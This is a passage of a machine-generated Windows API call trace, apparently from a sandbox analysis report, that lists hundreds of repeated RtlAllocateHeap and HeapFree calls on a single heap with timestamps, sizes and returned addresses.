RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f915e0 [0043.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928b0 | out: hHeap=0x4f90000) returned 1 [0043.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e0 | out: hHeap=0x4f90000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x47) returned 0x4f915e0 [0043.139] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.139] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e0 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb6f) returned 0x4f9eca0 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93c90 | out: hHeap=0x4f90000) returned 1 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915b8 | out: hHeap=0x4f90000) returned 1 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.140] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.140] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f92890 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f91590 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92890 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f928a0 [0043.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f928a0 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f91590 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x4f92868 [0043.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.142] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f92868 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.144] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f92868 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f92868 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.145] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.145] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91618 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f916a0 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91618 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f91590 [0043.146] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916a0 | out: hHeap=0x4f90000) returned 1 [0043.146] RtlAllocateHeap 